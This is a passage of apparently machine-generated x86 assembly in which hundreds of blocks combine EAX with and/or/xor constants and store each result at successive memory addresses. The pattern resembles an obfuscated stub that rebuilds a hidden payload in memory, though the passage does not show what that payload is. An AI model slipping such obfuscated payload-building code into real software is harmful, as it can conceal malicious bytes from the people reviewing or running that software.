or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5aeda82c
or eax, 0x8b1f864
and eax, 0x9b4ac254
or eax, 0x401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b03d6f5
xor eax, 0x2f85076d
and eax, 0x14054130
or eax, 0xa682086
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64c0ead8
and eax, 0x4000000
or eax, 0x6bba850c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b44f9b
and eax, 0xa00400
or eax, 0x14e12c6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x347f9872
or eax, 0x716a2391
and eax, 0x129a83
or eax, 0x2000008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10546bd7
and eax, 0x585451dd
and eax, 0x1048
or eax, 0x89b924a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c16be04
and eax, 0x8102400
or eax, 0x62a5089f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d0a45a2
and eax, 0x748c258a
or eax, 0x80400200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ef45b2e
or eax, 0x5bb2bfc0
and eax, 0x89f6c2e0
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa75a3d1
xor eax, 0x2241f634
and eax, 0x80001505
or eax, 0x828404a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1adcb79d
and eax, 0x409
or eax, 0xd2926282
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16151715
xor eax, 0x6f7973c1
and eax, 0x6c682080
or eax, 0x80948a3e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5060d02b
and eax, 0xccb0f813
or eax, 0x540
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1399208f
xor eax, 0x7a2cd90f
and eax, 0xa1050482
or eax, 0x42b8f820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41d33521
and eax, 0x2202c802
or eax, 0x11802228
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71e74b1
or eax, 0x71f86eb5
and eax, 0x41424e21
or eax, 0x1900a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78135c1f
and eax, 0x2112ce39
or eax, 0x22c01c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x744b1712
or eax, 0x36f08107
and eax, 0x645512e
or eax, 0x80082410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47a07724
and eax, 0x2005020
or eax, 0xe95102c9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79eeb789
and eax, 0xcad7d300
or eax, 0x806
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x168f5c9d
and eax, 0xd0180319
or eax, 0x1834064
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9596f9c
and eax, 0x1194208
or eax, 0x5e44a8c1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x596d9388
and eax, 0x6b987999
and eax, 0x80088
or eax, 0x8287ee67
mov dword [ebx], eax
add ebx, ecx
or eax, 0x263c82bf
and eax, 0x26918eb0
or eax, 0x8400000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ef6d9cf
and eax, 0x1024566c
or eax, 0x580a880
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b6d87f1
and eax, 0x1200000
or eax, 0xc4881118
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b8d2e15
or eax, 0x7f4d7fc8
and eax, 0xea93d19
or eax, 0x120002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16816051
and eax, 0x892d52
or eax, 0x1400220
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x610b17a4
and eax, 0x60c000d6
or eax, 0x1634c428
mov dword [ebx], eax
add ebx, ecx
or eax, 0x643994ce
and eax, 0x10d22947
and eax, 0x100040
or eax, 0x65030208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34e10483
and eax, 0x1b0a676e
and eax, 0
or eax, 0xf8300c5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x625bc9c6
and eax, 0x9904102
or eax, 0x80230628
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c663f00
and eax, 0x200400
or eax, 0x32d4187d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14e164f1
xor eax, 0x3b12f788
and eax, 0x1230a21
or eax, 0xe2000002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b77a01a
and eax, 0x2020002
or eax, 0x888b1a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x618945c3
and eax, 0x180
or eax, 0x22515459
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40f05300
xor eax, 0x5445fe8
and eax, 0x22810830
or eax, 0x184a4744
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51d4a94e
or eax, 0x4c08980f
and eax, 0x4480141
or eax, 0x274620
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55224ffd
or eax, 0x2ec3c374
and eax, 0x1c4888c4
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x195ab295
and eax, 0x4508094
or eax, 0x2005452a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x328bd604
or eax, 0x10c8ec4b
and eax, 0xd05728
or eax, 0xc9210004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13e73426
or eax, 0x27f39aba
and eax, 0x27618ca6
or eax, 0x48086140
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58848ce9
and eax, 0x840
or eax, 0x3c05219
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x817eed
and eax, 0x3010410
or eax, 0x65303
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ac46d38
and eax, 0x19846421
or eax, 0x841000c4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a0ee20b
and eax, 0x9392868e
or eax, 0x455901
mov dword [ebx], eax
add ebx, ecx
and eax, 0x288edefb
and eax, 0x84de83
or eax, 0xe5400150
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67f784ec
and eax, 0x21448480
or eax, 0x2091201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x55e9a7e2
and eax, 0x52a0a4c0
or eax, 0x80100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17de906
and eax, 0xd0450902
or eax, 0x2c20a200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c9d8e4d
and eax, 0x59f1568
and eax, 0x40000
or eax, 0x72c271ee
mov dword [ebx], eax
add ebx, ecx
or eax, 0x516ac930
and eax, 0x23ee78b8
or eax, 0x88100200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1626f4b0
and eax, 0x2264020
or eax, 0x85d00445
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26be257f
and eax, 0x56e4100
or eax, 0x10200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b581a7d
and eax, 0x341e1815
or eax, 0xc0808400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6aa0a0f0
and eax, 0x62c88d0
or eax, 0x1414202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74b56e82
and eax, 0x4004200
or eax, 0x2829000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ee556c6
and eax, 0x800000
or eax, 0x780020df
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e47a3d
and eax, 0x5cc07a6f
or eax, 0x801b0500
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1563825f
xor eax, 0x658d6a99
and eax, 0x20520022
or eax, 0x880208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3692584a
xor eax, 0x14ee343
and eax, 0x20880309
or eax, 0x98231402
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2da56eec
and eax, 0xa00200
or eax, 0x408c9c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x337fc5dd
xor eax, 0x86b6840
and eax, 0x8018180
or eax, 0xe4bc1439
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d2195d3
and eax, 0x227fbffc
and eax, 0x202584f0
or eax, 0x81006a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa23b90
or eax, 0x63b5c888
and eax, 0x40258808
or eax, 0x18080525
mov dword [ebx], eax
add ebx, ecx
and eax, 0x314a2f40
or eax, 0x237fe5ae
and eax, 0x10564006
or eax, 0x88001040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21ae494e
and eax, 0x201a2bfa
and eax, 0x100008
or eax, 0x5326f2e6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1146cf78
and eax, 0x302194
or eax, 0x2001c240
mov dword [ebx], eax
add ebx, ecx
and eax, 0x437e3821
or eax, 0x56d08300
and eax, 0x2b02200
or eax, 0xa9080c0e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d4f196e
xor eax, 0x3a5bce48
and eax, 0x480f100
or eax, 0x1a4104d9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e95c7a7
and eax, 0x195a9cfc
and eax, 0x40101c
or eax, 0xe60e2480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7848bc5e
and eax, 0xe004b896
or eax, 0x204021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74fc24bf
and eax, 0x4a81894
or eax, 0x3000140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74fe2e10
and eax, 0x1003080
or eax, 0x284828
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5700f4cd
and eax, 0x57008c41
or eax, 0x8510110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f4b0b8e
and eax, 0x60080481
or eax, 0xda15920
mov dword [ebx], eax
add ebx, ecx
or eax, 0x55794f25
xor eax, 0xd01387e
and eax, 0x3050641a
or eax, 0xc040800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57153be0
or eax, 0x2da3ce40
and eax, 0x9900c00
or eax, 0x4240101c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b87d659
and eax, 0x3801418
or eax, 0x461e383
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x292fb73a
or eax, 0x6d3f0b7b
and eax, 0x64300b4a
or eax, 0x90002400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2781b3f9
and eax, 0x308089da
and eax, 0x10008998
or eax, 0x3b3001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9783306
xor eax, 0x5312b6fa
and eax, 0x42511445
or eax, 0x212cc188
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5206e6dc
xor eax, 0x85456cb
and eax, 0x2008004
or eax, 0x158e6ca0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45f295e
or eax, 0x4e6bb2f5
and eax, 0x4a661285
or eax, 0xb0000402
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73ffe333
and eax, 0x5937e626
or eax, 0x4000040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2df32afd
and eax, 0x5130220
or eax, 0xa240dc10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2eb04eef
and eax, 0x4dcaf7a
and eax, 0x800000
or eax, 0x31186581
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ad5308f
and eax, 0x52b955eb
and eax, 0x900001
or eax, 0x46c7f6e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x44b02ba9
and eax, 0x404404c2
or eax, 0xe928a39
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40dbf483
and eax, 0x42d130d2
or eax, 0x11000104
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60ec7dc7
xor eax, 0x3c80b076
and eax, 0x28408100
or eax, 0x32f4209
mov dword [ebx], eax
add ebx, ecx
and eax, 0x285d11e2
and eax, 0x28480100
or eax, 0xc380e8db
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xab2164f
and eax, 0x32cdf3d3
and eax, 0xf010
or eax, 0x12a50424
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24f5d5e8
and eax, 0x5f5dd7ae
and eax, 0xc400
or eax, 0x25520252
mov dword [ebx], eax
add ebx, ecx
or eax, 0x284bf5ce
or eax, 0xd460485
and eax, 0x9557444
or eax, 0x50000820
mov dword [ebx], eax
add ebx, ecx
and eax, 0x301f109
and eax, 0x796d7ba3
and eax, 0x1012000
or eax, 0x7e6c060e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b183a0b
and eax, 0x5965180c
or eax, 0x80004150
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d5f3492
and eax, 0x1011000
or eax, 0x662a8985
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f7a0e18
xor eax, 0x6616ced0
and eax, 0x30011948
or eax, 0x80a884a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x736a4d6f
and eax, 0x79533f6b
and eax, 0x20000802
or eax, 0x8bac0010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3847657f
and eax, 0x5b6628e7
and eax, 2
or eax, 0xa67a0328
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ed5229e
and eax, 0x4500008
or eax, 0xe9243531
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x164332d5
and eax, 0xe1210508
or eax, 0x406801
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43784a5e
or eax, 0x2bee4319
and eax, 0x2a26141
or eax, 0x10008020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27b9e5a5
xor eax, 0x6702a392
and eax, 0x52008016
or eax, 0x296418a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48e0c73a
or eax, 0x7274ba12
and eax, 0x4a509800
or eax, 0x10a010d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x446270a6
and eax, 0x9306003
or eax, 0xb0011044
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d4ea8b4
and eax, 0x115de846
or eax, 0x42800600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d440a32
or eax, 0x69dda37f
and eax, 0x62510759
or eax, 0x201880
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x402cca51
xor eax, 0x12665be1
and eax, 0x10028e21
or eax, 0x8e041116
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x602c0991
and eax, 0x272e0ea8
and eax, 0x24220400
or eax, 0x1d5c95e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x939417c
and eax, 0xc0a8002
or eax, 0xc0017309
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6caac64d
or eax, 0xcb90ab9
and eax, 0xec9335f3
or eax, 0x1040000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f42bb77
and eax, 0x45002162
or eax, 0xc4c60c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f907f30
and eax, 0x3a40080c
or eax, 0xc1a24700
mov dword [ebx], eax
add ebx, ecx
or eax, 0x147f352c
and eax, 0x9b734f04
or eax, 0xc0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x219e64d5
and eax, 0x142cd265
and eax, 0x2c0201
or eax, 0x8293183a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fc4c077
xor eax, 0x79eeafdd
and eax, 0x84947591
or eax, 0x43408a46
mov dword [ebx], eax
add ebx, ecx
or eax, 0x17a0bb71
and eax, 0xc340a897
or eax, 0x28080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5873ac1d
and eax, 0xb2020488
or eax, 0x484f855
mov dword [ebx], eax
add ebx, ecx
and eax, 0x288120bf
xor eax, 0x736d4d99
and eax, 0x13206400
or eax, 0x201290b9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ae182ef
and eax, 0x3a380ef
or eax, 0xc0000900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d8016ff
and eax, 0x11a17790
and eax, 0x10210400
or eax, 0x8c868005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x487ea138
xor eax, 0x1435398a
and eax, 0x1c039982
or eax, 0xa06c4644
mov dword [ebx], eax
add ebx, ecx
and eax, 0x660d0b3b
xor eax, 0x56dd5f54
and eax, 0x30100056
or eax, 0x5092989
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33c7fd9c
xor eax, 0x413d2db2
and eax, 0x6e0500c
or eax, 0x8142b10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63c0b071
and eax, 0xc00000
or eax, 0x5044502
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd8a1cd6
and eax, 0xc60584
or eax, 0x9011a220
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ce941bf
and eax, 0x2750a7ae
and eax, 0x4100400
or eax, 0xab4049f5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x158ff9c4
and eax, 0xbdc7a541
or eax, 0x40200000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b4a41f0
and eax, 0x47736e6a
and eax, 0x4216420
or eax, 0xc40146
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b8c90d9
or eax, 0x54d1bd6e
and eax, 0x1080a84a
or eax, 0x80084211
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34c85c74
and eax, 0x10080800
or eax, 0xe2523af
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a274a29
and eax, 0x2b8e6f57
and eax, 0x80e6906
or eax, 0x103184d8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b5fc23
and eax, 0x1a00102c
or eax, 0xc534ce00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33ac000a
and eax, 0x88084024
or eax, 0x136720c9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x543c6382
or eax, 0x22ff2948
and eax, 0x10ab6080
or eax, 0x41009013
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65d073e4
and eax, 0x647a07d1
and eax, 0
or eax, 0xb4f8a177
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24713456
and eax, 0x4002056
or eax, 0x305c7a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24697152
xor eax, 0x63bc643f
and eax, 0x4d190c0
or eax, 0xb32a4020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13bf73da
and eax, 0x1f1466c3
and eax, 0x12004000
or eax, 0x4860013c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x506447aa
xor eax, 0x575324b4
and eax, 0x3102518
or eax, 0x68400a62
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b0f7dda
and eax, 0xf5220
or eax, 0x2d200c55
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47b788fa
xor eax, 0x2257dddf
and eax, 0x350d187
or eax, 0xd8830a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d7e852d
and eax, 0x3cd61002
or eax, 0x50
mov dword [ebx], eax
add ebx, ecx
or eax, 0xba68567
and eax, 0x2b560074
or eax, 0x40092088
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13f6429b
xor eax, 0x142fd0b8
and eax, 0x1385000
or eax, 0x20840d0d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3afe864f
and eax, 0x38be8a4f
or eax, 0x840120a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x748db394
xor eax, 0x293b04aa
and eax, 0xc4002645
or eax, 0x239402a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x733dfd38
and eax, 0x51d370fb
and eax, 0x14008
or eax, 0x25e88dc7
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7984d11c
and eax, 0x4d009c1f
or eax, 0x82120220
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c0d166f
and eax, 0x7cc78d35
and eax, 0x48028024
or eax, 0xa3201388
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b1a34a2
and eax, 0x3020000
or eax, 0x140d2b0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68c0c516
and eax, 0x39acc447
and eax, 0x180c0006
or eax, 0x44300bc0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1cd7ef0a
and eax, 0x1cf28644
or eax, 0x82001031
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4030c684
and eax, 0x4801061
or eax, 0x20188f0a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f8de09f
and eax, 0xb012504
or eax, 0x946a0008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e5a0408
or eax, 0x55bb31a6
and eax, 0xca700400
or eax, 0x8a10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x782d31a0
and eax, 0x40200000
or eax, 0x315e349a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d439881
or eax, 0x1a4b0abe
and eax, 0x14048e87
or eax, 0x80004140
mov dword [ebx], eax
add ebx, ecx
and eax, 0x14760682
xor eax, 0x19aab96c
and eax, 0x4ae3c80
or eax, 0xb2004000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2bedfaba
or eax, 0x1ceb8101
and eax, 0x8a87b789
or eax, 4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x13c96202
and eax, 0x8024089
or eax, 0x40212230
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68b3f38d
xor eax, 0x3ce04260
and eax, 0x10400049
or eax, 0x831c4d14
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32d70dba
and eax, 0x10540c18
or eax, 0x210b5080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38fffd33
and eax, 0x20fef5b3
or eax, 0x2000044
mov dword [ebx], eax
add ebx, ecx
or eax, 0x585798e1
and eax, 0x1ddafdc0
and eax, 0x10989d40
or eax, 0x46250032
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54325ccc
and eax, 0x834100
or eax, 0xe5202040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x639771c3
and eax, 0x37708036
and eax, 0x300000
or eax, 0x810f2c94
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24e49283
xor eax, 0x49f32179
and eax, 0x8c001fca
or eax, 0x3a02001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1df0cc45
and eax, 0x17a18a69
and eax, 0x12008008
or eax, 0x6d3f2894
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x134d966
and eax, 0x2c0271f2
or eax, 0x81500a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10b13b1f
and eax, 0xb520216b
or eax, 0x42008000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64cf0166
and eax, 0x35d4de61
and eax, 0x24800020
or eax, 0x3a058e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68b1dab4
or eax, 0x5ba0c4f7
and eax, 0x5ca29da4
or eax, 0x20102000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67235efd
and eax, 0x7411a134
or eax, 0x40002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f6dcf7a
or eax, 0x5a7c14d6
and eax, 0x29444ed8
or eax, 0x84000020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fc96cf1
and eax, 0x21000080
or eax, 0xc2301203
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2eafbe1c
and eax, 0xc53c0c81
or eax, 0x404020
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb47b6d6
and eax, 0x1000480
or eax, 0x56b9ca1f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34cc0199
or eax, 0x19079580
and eax, 0x28715106
or eax, 0x84882068
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67972db6
xor eax, 0x56f08825
and eax, 0x19016508
or eax, 0x900a20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b0fd268
and eax, 0x5b6317b7
and eax, 0x42000400
or eax, 0xbdf94803
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41a839b1
and eax, 0x41800001
or eax, 0x8a4070dc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c711ffe
and eax, 0x2f514eae
or eax, 0xa8000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a091c36
and eax, 0xd000
or eax, 0xca810062
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bdb3b7b
and eax, 0xa1480a01
or eax, 0x6810062
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12e0e538
and eax, 0x800020
or eax, 0xec1c0705
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17641f11
and eax, 0x2e14a762
and eax, 0x20100000
or eax, 0x500cb01c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e41b137
and eax, 0x44413132
or eax, 0x81220280
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18c06d21
xor eax, 0x6b1529cd
and eax, 0x9226166c
or eax, 0x40008801
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ed28274
and eax, 0x28200
or eax, 0x5091880
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a5a02b
and eax, 0x4008000
or eax, 0xd04428e1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8ec329c
and eax, 0xdca88054
or eax, 0x1550182
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a954919
and eax, 0xc981c0dc
or eax, 0x3000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41154c9
or eax, 0x2ee6e4c9
and eax, 0x4016048
or eax, 0x80100114
mov dword [ebx], eax
add ebx, ecx
and eax, 0x291f3ca4
and eax, 0x234429f6
and eax, 0x2004
or eax, 0xbb270d89
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ebe1a74
and eax, 0x9d2f07cd
or eax, 0x4040c002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x532c9f62
and eax, 0x9606d363
or eax, 0x20102010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71ab3db8
or eax, 0x3a41dd9
and eax, 0x83095998
or eax, 0x28422004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4857af0d
xor eax, 0x7035bb6a
and eax, 0x81216c42
or eax, 0x24900004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b2e22de
and eax, 0x1002042
or eax, 0x84d29780
mov dword [ebx], eax
add ebx, ecx
or eax, 0x35cea97b
and eax, 0x20189353
or eax, 0xa014000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ae985e7
and eax, 0x20389430
or eax, 0x44000808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a13bd98
and eax, 0x3a209518
or eax, 0x81004247
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a35e0d0
xor eax, 0x5b4ece1a
and eax, 0x80532041
or eax, 0x1880803a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19f75883
and eax, 0x800560c0
or eax, 0x44080400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49fff7fa
and eax, 0xc0040
or eax, 0x11108818
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ffe5d70
and eax, 0x111c0000
or eax, 0xea032180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x660b5e23
and eax, 0x85046aa0
or eax, 0x22a28018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6210a732
xor eax, 0x274d6968
and eax, 0x5480210
or eax, 0xaa0230a7
mov dword [ebx], eax
add ebx, ecx
or eax, 0x173fb828
and eax, 0x925c00a1
or eax, 0x4100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x784c131
or eax, 0x57b5fe61
and eax, 0x66c2220
or eax, 0x28020008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6fa8d1c4
and eax, 0x2720020c
or eax, 0x90010403
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3fe7f111
and eax, 0x44b006
or eax, 0x65380021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ca794b
and eax, 0x60fe894c
or eax, 0xa010680
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4392df3d
and eax, 0x82050d1
or eax, 0x52022500
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31571cbf
xor eax, 0x22072565
and eax, 0x10012044
or eax, 0x45e08402
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7444173
and eax, 0x1400042
or eax, 0xa287980d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e5fbdb9
and eax, 0x2d2c0f9e
and eax, 0x80002
or eax, 0x82967800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b144c51
or eax, 0x6e966424
and eax, 0x6924c00
or eax, 0x910090da
mov dword [ebx], eax
add ebx, ecx
and eax, 0x226262c
xor eax, 0x481fc815
and eax, 0x118819
or eax, 0xb4820380
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34081baf
and eax, 0x52c6a6ab
and eax, 0xa
or eax, 0x6d747910
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a77e3b7
xor eax, 0x163e9357
and eax, 0x210928a0
or eax, 0xa48612
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71f7b9ee
or eax, 0x7238c61
and eax, 0x12028c7c
or eax, 0x88804080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e6ee993
and eax, 0xf0ec2cf7
or eax, 0x100200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2280e7f3
and eax, 0x5ed07b3f
and eax, 0x11
or eax, 0x72634984
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57749262
and eax, 0x18df957b
and eax, 0x173
or eax, 0x35000880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6170f811
and eax, 0x14202851
or eax, 0x88830204
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7899300d
and eax, 0xe4201850
or eax, 0x1a858181
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a68e599
and eax, 0x50054559
or eax, 0x100026
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78797a01
or eax, 0x36790358
and eax, 0x1c59216b
or eax, 0x81008000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x442e9539
and eax, 0x4008028
or eax, 0xa9f00850
mov dword [ebx], eax
